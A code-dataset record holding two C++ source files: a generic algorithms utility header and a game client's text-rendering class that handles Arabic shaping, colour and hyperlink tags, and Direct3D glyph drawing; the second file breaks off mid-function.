2888d5e732f2980ca51386bd04f3ae77101fd298 | 731538fa026cb5ed4a0360b907af7a3542e37f60 | /Algorithms/include/Utils.hpp | 2764b577e04aee00df7105374baaa64f826557d5 | [] | no_license | levonoganesyan/Algorithms | b096683ce3ab2a18fbcdf1950c7d2c83bddee833 | 99afbeb85bd0d935e5392d5de1ec583f4d9e51b6 | refs/heads/master | 2021-10-09T01:49:30.836790 | 2021-09-30T08:53:30 | 2021-09-30T08:53:30 | 183,884,777 | 17 | 5 | null | null | null | null | UTF-8 | C++ | false | false | 2,238 | hpp | Utils.hpp | #pragma once
#include<algorithm>
#include"Utils.h"
#include<random>
namespace algo
{
template<typename T, typename... Others>
inline T max(T first, Others... others)
{
return std::max(first, max<T>(others...));
}
template<typename T>
inline T max(T first)
{
return first;
}
template<typename T, typename... Others>
inline T min(T first, Others... others)
{
return std::min(first, min(others...));
}
template<typename T>
inline T min(T first)
{
return first;
}
template<typename Container, typename T>
inline void sum_container(const Container& container, T& sum)
{
for (auto& elem : container)
{
sum += elem;
}
}
template<typename T>
inline Matrix<T> CreateMatrix(size_t n, T etalon)
{
return Matrix<T>(n, std::vector<T>(n, etalon));
}
template<typename T>
inline Matrix<T> CreateMatrix(size_t n, size_t m, T etalon)
{
return Matrix<T>(n, std::vector<T>(m, etalon));
}
template<typename T>
inline void CreateMatrix(Matrix<T>& matrix, size_t n, T etalon)
{
matrix = Matrix<T>(n, std::vector<T>(n, etalon));
}
template<typename T>
inline void CreateMatrix(Matrix<T>& matrix, size_t n, size_t m, T etalon)
{
matrix = Matrix<T>(n, std::vector<T>(m, etalon));
}
inline double random(double min, double max)
{
std::random_device rd;
std::mt19937 mt(rd());
std::uniform_real_distribution<double> dist(min, max);
return dist(mt);
}
template<typename Container>
inline void input_container(std::istream& in,
int& n,
Container& container)
{
in >> n;
container.resize(n);
for (auto& elem : container)
{
in >> elem;
}
}
template<typename Container>
inline void output_container(std::ostream& out,
const Container& container,
const std::string& delimiter)
{
for (auto& elem : container)
{
out << elem << delimiter;
}
}
}
|
ea8b65c1a0728b68c2b19407d273217cd57b061a | 3d6f999526ac252f5d68d564c553391c1c219825 | /srcs/client_src/EterLib/GrpTextInstance.cpp | 85eda2e98a41f75cf286f9a8ae8920ae59437b65 | [
"Unlicense"
] | permissive | kdoggdev/cncn_m2 | e77354257de654f6507bcd14f0589311318bcbc0 | 149087e114be2b35c3e1548f4d37d6618ae27442 | refs/heads/main | 2023-02-02T09:56:37.306125 | 2020-12-23T09:52:14 | 2020-12-23T09:52:14 | 337,634,606 | 0 | 1 | Unlicense | 2021-02-10T06:13:27 | 2021-02-10T06:13:27 | null | UHC | C++ | false | false | 27,754 | cpp | GrpTextInstance.cpp | #include "StdAfx.h"
#include "GrpTextInstance.h"
#include "StateManager.h"
#include "IME.h"
#include "TextTag.h"
#include "../EterLocale/StringCodec.h"
#include "../EterBase/Utils.h"
#include "../EterLocale/Arabic.h"
extern DWORD GetDefaultCodePage();
const float c_fFontFeather = 0.5f;
CDynamicPool<CGraphicTextInstance> CGraphicTextInstance::ms_kPool;
static int gs_mx = 0;
static int gs_my = 0;
static std::wstring gs_hyperlinkText;
void CGraphicTextInstance::Hyperlink_UpdateMousePos(int x, int y)
{
gs_mx = x;
gs_my = y;
gs_hyperlinkText = L"";
}
int CGraphicTextInstance::Hyperlink_GetText(char* buf, int len)
{
if (gs_hyperlinkText.empty())
return 0;
int codePage = GetDefaultCodePage();
return Ymir_WideCharToMultiByte(codePage, 0, gs_hyperlinkText.c_str(), gs_hyperlinkText.length(), buf, len, NULL, NULL);
}
int CGraphicTextInstance::__DrawCharacter(CGraphicFontTexture * pFontTexture, WORD codePage, wchar_t text, DWORD dwColor)
{
CGraphicFontTexture::TCharacterInfomation* pInsCharInfo = pFontTexture->GetCharacterInfomation(codePage, text);
if (pInsCharInfo)
{
m_dwColorInfoVector.push_back(dwColor);
m_pCharInfoVector.push_back(pInsCharInfo);
m_textWidth += pInsCharInfo->advance;
m_textHeight = max(pInsCharInfo->height, m_textHeight);
return pInsCharInfo->advance;
}
return 0;
}
void CGraphicTextInstance::__GetTextPos(DWORD index, float* x, float* y)
{
index = min(index, m_pCharInfoVector.size());
float sx = 0;
float sy = 0;
float fFontMaxHeight = 0;
for(DWORD i=0; i<index; ++i)
{
if (sx+float(m_pCharInfoVector[i]->width) > m_fLimitWidth)
{
sx = 0;
sy += fFontMaxHeight;
}
sx += float(m_pCharInfoVector[i]->advance);
fFontMaxHeight = max(float(m_pCharInfoVector[i]->height), fFontMaxHeight);
}
*x = sx;
*y = sy;
}
bool isNumberic(const char chr)
{
if (chr >= '0' && chr <= '9')
return true;
return false;
}
bool IsValidToken(const char* iter)
{
return iter[0]=='@' &&
isNumberic(iter[1]) &&
isNumberic(iter[2]) &&
isNumberic(iter[3]) &&
isNumberic(iter[4]);
}
const char* FindToken(const char* begin, const char* end)
{
while(begin < end)
{
begin = find(begin, end, '@');
if(end-begin>5 && IsValidToken(begin))
{
return begin;
}
else
{
++begin;
}
}
return end;
}
int ReadToken(const char* token)
{
int nRet = (token[1]-'0')*1000 + (token[2]-'0')*100 + (token[3]-'0')*10 + (token[4]-'0');
if (nRet == 9999)
return CP_UTF8;
return nRet;
}
void CGraphicTextInstance::Update()
{
if (m_isUpdate) // 문자열이 바뀌었을 때만 업데이트 한다.
return;
if (m_roText.IsNull())
{
Tracef("CGraphicTextInstance::Update - 폰트가 설정되지 않았습니다\n");
return;
}
if (m_roText->IsEmpty())
return;
CGraphicFontTexture* pFontTexture = m_roText->GetFontTexturePointer();
if (!pFontTexture)
return;
UINT defCodePage = GetDefaultCodePage();
UINT dataCodePage = defCodePage; // 아랍 및 베트남 내부 데이터를 UTF8 을 사용하려 했으나 실패
CGraphicFontTexture::TCharacterInfomation* pSpaceInfo = pFontTexture->GetCharacterInfomation(dataCodePage, ' ');
int spaceHeight = pSpaceInfo ? pSpaceInfo->height : 12;
m_pCharInfoVector.clear();
m_dwColorInfoVector.clear();
m_hyperlinkVector.clear();
m_textWidth = 0;
m_textHeight = spaceHeight;
/* wstring begin */
const char* begin = m_stText.c_str();
const char* end = begin + m_stText.length();
int wTextMax = (end - begin) * 2;
wchar_t* wText = (wchar_t*)_alloca(sizeof(wchar_t)*wTextMax);
DWORD dwColor = m_dwTextColor;
/* wstring end */
while (begin < end)
{
const char * token = FindToken(begin, end);
int wTextLen = Ymir_MultiByteToWideChar(dataCodePage, 0, begin, token - begin, wText, wTextMax);
if (m_isSecret)
{
for(int i=0; i<wTextLen; ++i)
__DrawCharacter(pFontTexture, dataCodePage, '*', dwColor);
}
else
{
if (defCodePage == CP_ARABIC) // ARABIC
{
wchar_t* wArabicText = (wchar_t*)_alloca(sizeof(wchar_t) * wTextLen);
int wArabicTextLen = Arabic_MakeShape(wText, wTextLen, wArabicText, wTextLen);
bool isEnglish = true;
int nEnglishBase = wArabicTextLen - 1;
//<<하이퍼 링크>>
int x = 0;
int len;
int hyperlinkStep = 0;
SHyperlink kHyperlink;
std::wstring hyperlinkBuffer;
int no_hyperlink = 0;
// 심볼로 끝나면 아랍어 모드로 시작해야한다
if (Arabic_IsInSymbol(wArabicText[wArabicTextLen - 1]))
{
isEnglish = false;
}
int i = 0;
for (i = wArabicTextLen - 1 ; i >= 0; --i)
{
wchar_t wArabicChar = wArabicText[i];
if (isEnglish)
{
// <<심볼의 경우 (ex. 기호, 공백)>> -> 영어 모드 유지.
// <<(심볼이 아닌 것들 : 숫자, 영어, 아랍어)>>
// (1) 맨 앞의 심볼 or
// (2)
// 1) 앞 글자가 아랍어 아님 &&
// 2) 뒷 글자가 아랍어 아님 &&
// 3) 뒷 글자가 심볼'|'이 아님 &&
// or
// (3) 현재 심볼이 '|'
// <<아랍어 모드로 넘어가는 경우 : 심볼에서.>>
// 1) 앞글자 아랍어
// 2) 뒷글자 아랍어
//
//
if (Arabic_IsInSymbol(wArabicChar) && (
(i == 0) ||
(i > 0 &&
!(Arabic_HasPresentation(wArabicText, i - 1) || Arabic_IsInPresentation(wArabicText[i + 1])) && //앞글자, 뒷글자가 아랍어 아님.
wArabicText[i+1] != '|'
) ||
wArabicText[i] == '|'
))//if end.
{
// pass
int temptest = 1;
}
// (1)아랍어이거나 (2)아랍어 다음의 심볼이라면 아랍어 모드 전환
else if (Arabic_IsInPresentation(wArabicChar) || Arabic_IsInSymbol(wArabicChar))
{
//그 전까지의 영어를 그린다.
for (int e = i + 1; e <= nEnglishBase;) {
int ret = GetTextTag(&wArabicText[e], wArabicTextLen - e, len, hyperlinkBuffer);
if (ret == TEXT_TAG_PLAIN || ret == TEXT_TAG_TAG)
{
if (hyperlinkStep == 1)
hyperlinkBuffer.append(1, wArabicText[e]);
else
{
int charWidth = __DrawCharacter(pFontTexture, dataCodePage, wArabicText[e], dwColor);
kHyperlink.ex += charWidth;
//x += charWidth;
//기존 추가한 하이퍼링크의 좌표 수정.
for (int j = 1; j <= no_hyperlink; j++)
{
if(m_hyperlinkVector.size() < j)
break;
SHyperlink & tempLink = m_hyperlinkVector[m_hyperlinkVector.size() - j];
tempLink.ex += charWidth;
tempLink.sx += charWidth;
}
}
}
else
{
if (ret == TEXT_TAG_COLOR)
dwColor = htoi(hyperlinkBuffer.c_str(), 8);
else if (ret == TEXT_TAG_RESTORE_COLOR)
dwColor = m_dwTextColor;
else if (ret == TEXT_TAG_HYPERLINK_START)
{
hyperlinkStep = 1;
hyperlinkBuffer = L"";
}
else if (ret == TEXT_TAG_HYPERLINK_END)
{
if (hyperlinkStep == 1)
{
++hyperlinkStep;
kHyperlink.ex = kHyperlink.sx = 0; // 실제 텍스트가 시작되는 위치
}
else
{
kHyperlink.text = hyperlinkBuffer;
m_hyperlinkVector.push_back(kHyperlink);
no_hyperlink++;
hyperlinkStep = 0;
hyperlinkBuffer = L"";
}
}
}
e += len;
}
int charWidth = __DrawCharacter(pFontTexture, dataCodePage, Arabic_ConvSymbol(wArabicText[i]), dwColor);
kHyperlink.ex += charWidth;
//기존 추가한 하이퍼링크의 좌표 수정.
for (int j = 1; j <= no_hyperlink; j++)
{
if(m_hyperlinkVector.size() < j)
break;
SHyperlink & tempLink = m_hyperlinkVector[m_hyperlinkVector.size() - j];
tempLink.ex += charWidth;
tempLink.sx += charWidth;
}
isEnglish = false;
}
}
else //[[[아랍어 모드]]]
{
// 아랍어이거나 아랍어 출력중 나오는 심볼이라면
if (Arabic_IsInPresentation(wArabicChar) || Arabic_IsInSymbol(wArabicChar))
{
int charWidth = __DrawCharacter(pFontTexture, dataCodePage, Arabic_ConvSymbol(wArabicText[i]), dwColor);
kHyperlink.ex += charWidth;
x += charWidth;
//기존 추가한 하이퍼링크의 좌표 수정.
for (int j = 1; j <= no_hyperlink; j++)
{
if(m_hyperlinkVector.size() < j)
break;
SHyperlink & tempLink = m_hyperlinkVector[m_hyperlinkVector.size() - j];
tempLink.ex += charWidth;
tempLink.sx += charWidth;
}
}
else //영어이거나, 영어 다음에 나오는 심볼이라면,
{
nEnglishBase = i;
isEnglish = true;
}
}
}
if (isEnglish)
{
for (int e = i + 1; e <= nEnglishBase;) {
int ret = GetTextTag(&wArabicText[e], wArabicTextLen - e, len, hyperlinkBuffer);
if (ret == TEXT_TAG_PLAIN || ret == TEXT_TAG_TAG)
{
if (hyperlinkStep == 1)
hyperlinkBuffer.append(1, wArabicText[e]);
else
{
int charWidth = __DrawCharacter(pFontTexture, dataCodePage, wArabicText[e], dwColor);
kHyperlink.ex += charWidth;
//기존 추가한 하이퍼링크의 좌표 수정.
for (int j = 1; j <= no_hyperlink; j++)
{
if(m_hyperlinkVector.size() < j)
break;
SHyperlink & tempLink = m_hyperlinkVector[m_hyperlinkVector.size() - j];
tempLink.ex += charWidth;
tempLink.sx += charWidth;
}
}
}
else
{
if (ret == TEXT_TAG_COLOR)
dwColor = htoi(hyperlinkBuffer.c_str(), 8);
else if (ret == TEXT_TAG_RESTORE_COLOR)
dwColor = m_dwTextColor;
else if (ret == TEXT_TAG_HYPERLINK_START)
{
hyperlinkStep = 1;
hyperlinkBuffer = L"";
}
else if (ret == TEXT_TAG_HYPERLINK_END)
{
if (hyperlinkStep == 1)
{
++hyperlinkStep;
kHyperlink.ex = kHyperlink.sx = 0; // 실제 텍스트가 시작되는 위치
}
else
{
kHyperlink.text = hyperlinkBuffer;
m_hyperlinkVector.push_back(kHyperlink);
no_hyperlink++;
hyperlinkStep = 0;
hyperlinkBuffer = L"";
}
}
}
e += len;
}
}
}
else // 아랍외 다른 지역.
{
int x = 0;
int len;
int hyperlinkStep = 0;
SHyperlink kHyperlink;
std::wstring hyperlinkBuffer;
for (int i = 0; i < wTextLen; )
{
int ret = GetTextTag(&wText[i], wTextLen - i, len, hyperlinkBuffer);
if (ret == TEXT_TAG_PLAIN || ret == TEXT_TAG_TAG)
{
if (hyperlinkStep == 1)
hyperlinkBuffer.append(1, wText[i]);
else
{
int charWidth = __DrawCharacter(pFontTexture, dataCodePage, wText[i], dwColor);
kHyperlink.ex += charWidth;
x += charWidth;
}
}
else
{
if (ret == TEXT_TAG_COLOR)
dwColor = htoi(hyperlinkBuffer.c_str(), 8);
else if (ret == TEXT_TAG_RESTORE_COLOR)
dwColor = m_dwTextColor;
else if (ret == TEXT_TAG_HYPERLINK_START)
{
hyperlinkStep = 1;
hyperlinkBuffer = L"";
}
else if (ret == TEXT_TAG_HYPERLINK_END)
{
if (hyperlinkStep == 1)
{
++hyperlinkStep;
kHyperlink.ex = kHyperlink.sx = x; // 실제 텍스트가 시작되는 위치
}
else
{
kHyperlink.text = hyperlinkBuffer;
m_hyperlinkVector.push_back(kHyperlink);
hyperlinkStep = 0;
hyperlinkBuffer = L"";
}
}
}
i += len;
}
}
}
if (token < end)
{
int newCodePage = ReadToken(token);
dataCodePage = newCodePage; // 아랍 및 베트남 내부 데이터를 UTF8 을 사용하려 했으나 실패
begin = token + 5;
}
else
{
begin = token;
}
}
pFontTexture->UpdateTexture();
m_isUpdate = true;
}
void CGraphicTextInstance::Render(RECT * pClipRect)
{
if (!m_isUpdate)
return;
CGraphicText* pkText=m_roText.GetPointer();
if (!pkText)
return;
CGraphicFontTexture* pFontTexture = pkText->GetFontTexturePointer();
if (!pFontTexture)
return;
float fStanX = m_v3Position.x;
float fStanY = m_v3Position.y + 1.0f;
UINT defCodePage = GetDefaultCodePage();
if (defCodePage == CP_ARABIC)
{
switch (m_hAlign)
{
case HORIZONTAL_ALIGN_LEFT:
fStanX -= m_textWidth;
break;
case HORIZONTAL_ALIGN_CENTER:
fStanX -= float(m_textWidth / 2);
break;
}
}
else
{
switch (m_hAlign)
{
case HORIZONTAL_ALIGN_RIGHT:
fStanX -= m_textWidth;
break;
case HORIZONTAL_ALIGN_CENTER:
fStanX -= float(m_textWidth / 2);
break;
}
}
switch (m_vAlign)
{
case VERTICAL_ALIGN_BOTTOM:
fStanY -= m_textHeight;
break;
case VERTICAL_ALIGN_CENTER:
fStanY -= float(m_textHeight) / 2.0f;
break;
}
//WORD FillRectIndices[6] = { 0, 2, 1, 2, 3, 1 };
STATEMANAGER.SaveRenderState(D3DRS_SRCBLEND, D3DBLEND_SRCALPHA);
STATEMANAGER.SaveRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA);
DWORD dwFogEnable = STATEMANAGER.GetRenderState(D3DRS_FOGENABLE);
DWORD dwLighting = STATEMANAGER.GetRenderState(D3DRS_LIGHTING);
STATEMANAGER.SetRenderState(D3DRS_FOGENABLE, FALSE);
STATEMANAGER.SetRenderState(D3DRS_LIGHTING, FALSE);
STATEMANAGER.SetVertexShader(D3DFVF_XYZ|D3DFVF_DIFFUSE|D3DFVF_TEX1);
STATEMANAGER.SetTextureStageState(0, D3DTSS_COLORARG1, D3DTA_TEXTURE);
STATEMANAGER.SetTextureStageState(0, D3DTSS_COLORARG2, D3DTA_DIFFUSE);
STATEMANAGER.SetTextureStageState(0, D3DTSS_COLOROP, D3DTOP_MODULATE);
STATEMANAGER.SetTextureStageState(0, D3DTSS_ALPHAARG1, D3DTA_TEXTURE);
STATEMANAGER.SetTextureStageState(0, D3DTSS_ALPHAARG2, D3DTA_DIFFUSE);
STATEMANAGER.SetTextureStageState(0, D3DTSS_ALPHAOP, D3DTOP_MODULATE);
{
const float fFontHalfWeight=1.0f;
float fCurX;
float fCurY;
float fFontSx;
float fFontSy;
float fFontEx;
float fFontEy;
float fFontWidth;
float fFontHeight;
float fFontMaxHeight;
float fFontAdvance;
SVertex akVertex[4];
akVertex[0].z=m_v3Position.z;
akVertex[1].z=m_v3Position.z;
akVertex[2].z=m_v3Position.z;
akVertex[3].z=m_v3Position.z;
CGraphicFontTexture::TCharacterInfomation* pCurCharInfo;
// 테두리
if (m_isOutline)
{
fCurX=fStanX;
fCurY=fStanY;
fFontMaxHeight=0.0f;
CGraphicFontTexture::TPCharacterInfomationVector::iterator i;
for (i=m_pCharInfoVector.begin(); i!=m_pCharInfoVector.end(); ++i)
{
pCurCharInfo = *i;
fFontWidth=float(pCurCharInfo->width);
fFontHeight=float(pCurCharInfo->height);
fFontAdvance=float(pCurCharInfo->advance);
// NOTE : 폰트 출력에 Width 제한을 둡니다. - [levites]
if ((fCurX+fFontWidth)-m_v3Position.x > m_fLimitWidth)
{
if (m_isMultiLine)
{
fCurX=fStanX;
fCurY+=fFontMaxHeight;
}
else
{
break;
}
}
if (pClipRect)
{
if (fCurY <= pClipRect->top)
{
fCurX += fFontAdvance;
continue;
}
}
fFontSx = fCurX - 0.5f;
fFontSy = fCurY - 0.5f;
fFontEx = fFontSx + fFontWidth;
fFontEy = fFontSy + fFontHeight;
pFontTexture->SelectTexture(pCurCharInfo->index);
STATEMANAGER.SetTexture(0, pFontTexture->GetD3DTexture());
akVertex[0].u=pCurCharInfo->left;
akVertex[0].v=pCurCharInfo->top;
akVertex[1].u=pCurCharInfo->left;
akVertex[1].v=pCurCharInfo->bottom;
akVertex[2].u=pCurCharInfo->right;
akVertex[2].v=pCurCharInfo->top;
akVertex[3].u=pCurCharInfo->right;
akVertex[3].v=pCurCharInfo->bottom;
akVertex[3].color = akVertex[2].color = akVertex[1].color = akVertex[0].color = m_dwOutLineColor;
float feather = 0.0f; // m_fFontFeather
akVertex[0].y=fFontSy-feather;
akVertex[1].y=fFontEy+feather;
akVertex[2].y=fFontSy-feather;
akVertex[3].y=fFontEy+feather;
// 왼
akVertex[0].x=fFontSx-fFontHalfWeight-feather;
akVertex[1].x=fFontSx-fFontHalfWeight-feather;
akVertex[2].x=fFontEx-fFontHalfWeight+feather;
akVertex[3].x=fFontEx-fFontHalfWeight+feather;
if (CGraphicBase::SetPDTStream((SPDTVertex*)akVertex, 4))
STATEMANAGER.DrawPrimitive(D3DPT_TRIANGLESTRIP, 0, 2);
// 오른
akVertex[0].x=fFontSx+fFontHalfWeight-feather;
akVertex[1].x=fFontSx+fFontHalfWeight-feather;
akVertex[2].x=fFontEx+fFontHalfWeight+feather;
akVertex[3].x=fFontEx+fFontHalfWeight+feather;
if (CGraphicBase::SetPDTStream((SPDTVertex*)akVertex, 4))
STATEMANAGER.DrawPrimitive(D3DPT_TRIANGLESTRIP, 0, 2);
akVertex[0].x=fFontSx-feather;
akVertex[1].x=fFontSx-feather;
akVertex[2].x=fFontEx+feather;
akVertex[3].x=fFontEx+feather;
// 위
akVertex[0].y=fFontSy-fFontHalfWeight-feather;
akVertex[1].y=fFontEy-fFontHalfWeight+feather;
akVertex[2].y=fFontSy-fFontHalfWeight-feather;
akVertex[3].y=fFontEy-fFontHalfWeight+feather;
// 20041216.myevan.DrawPrimitiveUP
if (CGraphicBase::SetPDTStream((SPDTVertex*)akVertex, 4))
STATEMANAGER.DrawPrimitive(D3DPT_TRIANGLESTRIP, 0, 2);
// 아래
akVertex[0].y=fFontSy+fFontHalfWeight-feather;
akVertex[1].y=fFontEy+fFontHalfWeight+feather;
akVertex[2].y=fFontSy+fFontHalfWeight-feather;
akVertex[3].y=fFontEy+fFontHalfWeight+feather;
// 20041216.myevan.DrawPrimitiveUP
if (CGraphicBase::SetPDTStream((SPDTVertex*)akVertex, 4))
STATEMANAGER.DrawPrimitive(D3DPT_TRIANGLESTRIP, 0, 2);
fCurX += fFontAdvance;
}
}
// 메인 폰트
fCurX=fStanX;
fCurY=fStanY;
fFontMaxHeight=0.0f;
for (int i = 0; i < m_pCharInfoVector.size(); ++i)
{
pCurCharInfo = m_pCharInfoVector[i];
fFontWidth=float(pCurCharInfo->width);
fFontHeight=float(pCurCharInfo->height);
fFontMaxHeight=max(fFontHeight, pCurCharInfo->height);
fFontAdvance=float(pCurCharInfo->advance);
// NOTE : 폰트 출력에 Width 제한을 둡니다. - [levites]
if ((fCurX+fFontWidth)-m_v3Position.x > m_fLimitWidth)
{
if (m_isMultiLine)
{
fCurX=fStanX;
fCurY+=fFontMaxHeight;
}
else
{
break;
}
}
if (pClipRect)
{
if (fCurY <= pClipRect->top)
{
fCurX += fFontAdvance;
continue;
}
}
fFontSx = fCurX-0.5f;
fFontSy = fCurY-0.5f;
fFontEx = fFontSx + fFontWidth;
fFontEy = fFontSy + fFontHeight;
pFontTexture->SelectTexture(pCurCharInfo->index);
STATEMANAGER.SetTexture(0, pFontTexture->GetD3DTexture());
akVertex[0].x=fFontSx;
akVertex[0].y=fFontSy;
akVertex[0].u=pCurCharInfo->left;
akVertex[0].v=pCurCharInfo->top;
akVertex[1].x=fFontSx;
akVertex[1].y=fFontEy;
akVertex[1].u=pCurCharInfo->left;
akVertex[1].v=pCurCharInfo->bottom;
akVertex[2].x=fFontEx;
akVertex[2].y=fFontSy;
akVertex[2].u=pCurCharInfo->right;
akVertex[2].v=pCurCharInfo->top;
akVertex[3].x=fFontEx;
akVertex[3].y=fFontEy;
akVertex[3].u=pCurCharInfo->right;
akVertex[3].v=pCurCharInfo->bottom;
//m_dwColorInfoVector[i];
//m_dwTextColor;
akVertex[0].color = akVertex[1].color = akVertex[2].color = akVertex[3].color = m_dwColorInfoVector[i];
// 20041216.myevan.DrawPrimitiveUP
if (CGraphicBase::SetPDTStream((SPDTVertex*)akVertex, 4))
STATEMANAGER.DrawPrimitive(D3DPT_TRIANGLESTRIP, 0, 2);
//STATEMANAGER.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, akVertex, sizeof(SVertex));
fCurX += fFontAdvance;
}
}
if (m_isCursor)
{
// Draw Cursor
float sx, sy, ex, ey;
TDiffuse diffuse;
int curpos = CIME::GetCurPos();
int compend = curpos + CIME::GetCompLen();
__GetTextPos(curpos, &sx, &sy);
// If Composition
if(curpos<compend)
{
diffuse = 0x7fffffff;
__GetTextPos(compend, &ex, &sy);
}
else
{
diffuse = 0xffffffff;
ex = sx + 2;
}
// FOR_ARABIC_ALIGN
if (defCodePage == CP_ARABIC)
{
sx += m_v3Position.x - m_textWidth;
ex += m_v3Position.x - m_textWidth;
sy += m_v3Position.y;
ey = sy + m_textHeight;
}
else
{
sx += m_v3Position.x;
sy += m_v3Position.y;
ex += m_v3Position.x;
ey = sy + m_textHeight;
}
switch (m_vAlign)
{
case VERTICAL_ALIGN_BOTTOM:
sy -= m_textHeight;
break;
case VERTICAL_ALIGN_CENTER:
sy -= float(m_textHeight) / 2.0f;
break;
}
// 최적화 사항
// 같은텍스쳐를 사용한다면... STRIP을 구성하고, 텍스쳐가 변경되거나 끝나면 DrawPrimitive를 호출해
// 최대한 숫자를 줄이도록하자!
TPDTVertex vertices[4];
vertices[0].diffuse = diffuse;
vertices[1].diffuse = diffuse;
vertices[2].diffuse = diffuse;
vertices[3].diffuse = diffuse;
vertices[0].position = TPosition(sx, sy, 0.0f);
vertices[1].position = TPosition(ex, sy, 0.0f);
vertices[2].position = TPosition(sx, ey, 0.0f);
vertices[3].position = TPosition(ex, ey, 0.0f);
STATEMANAGER.SetTexture(0, NULL);
// 2004.11.18.myevan.DrawIndexPrimitiveUP -> DynamicVertexBuffer
CGraphicBase::SetDefaultIndexBuffer(CGraphicBase::DEFAULT_IB_FILL_RECT);
if (CGraphicBase::SetPDTStream(vertices, 4))
STATEMANAGER.DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 4, 0, 2);
int ulbegin = CIME::GetULBegin();
int ulend = CIME::GetULEnd();
if(ulbegin < ulend)
{
__GetTextPos(curpos+ulbegin, &sx, &sy);
__GetTextPos(curpos+ulend, &ex, &sy);
sx += m_v3Position.x;
sy += m_v3Position.y + m_textHeight;
ex += m_v3Position.x;
ey = sy + 2;
vertices[0].diffuse = 0xFFFF0000;
vertices[1].diffuse = 0xFFFF0000;
vertices[2].diffuse = 0xFFFF0000;
vertices[3].diffuse = 0xFFFF0000;
vertices[0].position = TPosition(sx, sy, 0.0f);
vertices[1].position = TPosition(ex, sy, 0.0f);
vertices[2].position = TPosition(sx, ey, 0.0f);
vertices[3].position = TPosition(ex, ey, 0.0f);
STATEMANAGER.DrawIndexedPrimitiveUP(D3DPT_TRIANGLELIST, 0, 4, 2, c_FillRectIndices, D3DFMT_INDEX16, vertices, sizeof(TPDTVertex));
}
}
STATEMANAGER.RestoreRenderState(D3DRS_SRCBLEND);
STATEMANAGER.RestoreRenderState(D3DRS_DESTBLEND);
STATEMANAGER.SetRenderState(D3DRS_FOGENABLE, dwFogEnable);
STATEMANAGER.SetRenderState(D3DRS_LIGHTING, dwLighting);
//금강경 링크 띄워주는 부분.
if (m_hyperlinkVector.size() != 0)
{
int lx = gs_mx - m_v3Position.x;
int ly = gs_my - m_v3Position.y;
//아랍은 좌표 부호를 바꿔준다.
if (GetDefaultCodePage() == CP_ARABIC) {
lx = -lx;
ly = -ly + m_textHeight;
}
if (lx >= 0 && ly >= 0 && lx < m_textWidth && ly < m_textHeight)
{
std::vector<SHyperlink>::iterator it = m_hyperlinkVector.begin();
while (it != m_hyperlinkVector.end())
{
SHyperlink & link = *it++;
if (lx >= link.sx && lx < link.ex)
{
gs_hyperlinkText = link.text;
/*
OutputDebugStringW(link.text.c_str());
OutputDebugStringW(L"\n");
*/
break;
}
}
}
}
}
void CGraphicTextInstance::CreateSystem(UINT uCapacity)
{
ms_kPool.Create(uCapacity);
}
void CGraphicTextInstance::DestroySystem()
{
ms_kPool.Destroy();
}
CGraphicTextInstance* CGraphicTextInstance::New()
{
return ms_kPool.Alloc();
}
void CGraphicTextInstance::Delete(CGraphicTextInstance* pkInst)
{
pkInst->Destroy();
ms_kPool.Free(pkInst);
}
void CGraphicTextInstance::ShowCursor()
{
m_isCursor = true;
}
void CGraphicTextInstance::HideCursor()
{
m_isCursor = false;
}
void CGraphicTextInstance::ShowOutLine()
{
m_isOutline = true;
}
void CGraphicTextInstance::HideOutLine()
{
m_isOutline = false;
}
void CGraphicTextInstance::SetColor(DWORD color)
{
if (m_dwTextColor != color)
{
for (int i = 0; i < m_pCharInfoVector.size(); ++i)
if (m_dwColorInfoVector[i] == m_dwTextColor)
m_dwColorInfoVector[i] = color;
m_dwTextColor = color;
}
}
void CGraphicTextInstance::SetColor(float r, float g, float b, float a)
{
SetColor(D3DXCOLOR(r, g, b, a));
}
void CGraphicTextInstance::SetOutLineColor(DWORD color)
{
m_dwOutLineColor=color;
}
void CGraphicTextInstance::SetOutLineColor(float r, float g, float b, float a)
{
m_dwOutLineColor=D3DXCOLOR(r, g, b, a);
}
void CGraphicTextInstance::SetSecret(bool Value)
{
m_isSecret = Value;
}
void CGraphicTextInstance::SetOutline(bool Value)
{
m_isOutline = Value;
}
void CGraphicTextInstance::SetFeather(bool Value)
{
if (Value)
{
m_fFontFeather = c_fFontFeather;
}
else
{
m_fFontFeather = 0.0f;
}
}
void CGraphicTextInstance::SetMultiLine(bool Value)
{
m_isMultiLine = Value;
}
void CGraphicTextInstance::SetHorizonalAlign(int hAlign)
{
m_hAlign = hAlign;
}
void CGraphicTextInstance::SetVerticalAlign(int vAlign)
{
m_vAlign = vAlign;
}
void CGraphicTextInstance::SetMax(int iMax)
{
m_iMax = iMax;
}
void CGraphicTextInstance::SetLimitWidth(float fWidth)
{
m_fLimitWidth = fWidth;
}
void CGraphicTextInstance::SetValueString(const string& c_stValue)
{
if (0 == m_stText.compare(c_stValue))
return;
m_stText = c_stValue;
m_isUpdate = false;
}
void CGraphicTextInstance::SetValue(const char* c_szText, size_t len)
{
if (0 == m_stText.compare(c_szText))
return;
m_stText = c_szText;
m_isUpdate = false;
}
void CGraphicTextInstance::SetPosition(float fx, float fy, float fz)
{
m_v3Position.x = fx;
m_v3Position.y = fy;
m_v3Position.z = fz;
}
void CGraphicTextInstance::SetTextPointer(CGraphicText* pText)
{
m_roText = pText;
}
const std::string & CGraphicTextInstance::GetValueStringReference()
{
return m_stText;
}
WORD CGraphicTextInstance::GetTextLineCount()
{
CGraphicFontTexture::TCharacterInfomation* pCurCharInfo;
CGraphicFontTexture::TPCharacterInfomationVector::iterator itor;
float fx = 0.0f;
WORD wLineCount = 1;
for (itor=m_pCharInfoVector.begin(); itor!=m_pCharInfoVector.end(); ++itor)
{
pCurCharInfo = *itor;
float fFontWidth=float(pCurCharInfo->width);
float fFontAdvance=float(pCurCharInfo->advance);
//float fFontHeight=float(pCurCharInfo->height);
// NOTE : 폰트 출력에 Width 제한을 둡니다. - [levites]
if (fx+fFontWidth > m_fLimitWidth)
{
fx = 0.0f;
++wLineCount;
}
fx += fFontAdvance;
}
return wLineCount;
}
void CGraphicTextInstance::GetTextSize(int* pRetWidth, int* pRetHeight)
{
*pRetWidth = m_textWidth;
*pRetHeight = m_textHeight;
}
int CGraphicTextInstance::PixelPositionToCharacterPosition(int iPixelPosition)
{
int icurPosition = 0;
for (int i = 0; i < (int)m_pCharInfoVector.size(); ++i)
{
CGraphicFontTexture::TCharacterInfomation* pCurCharInfo = m_pCharInfoVector[i];
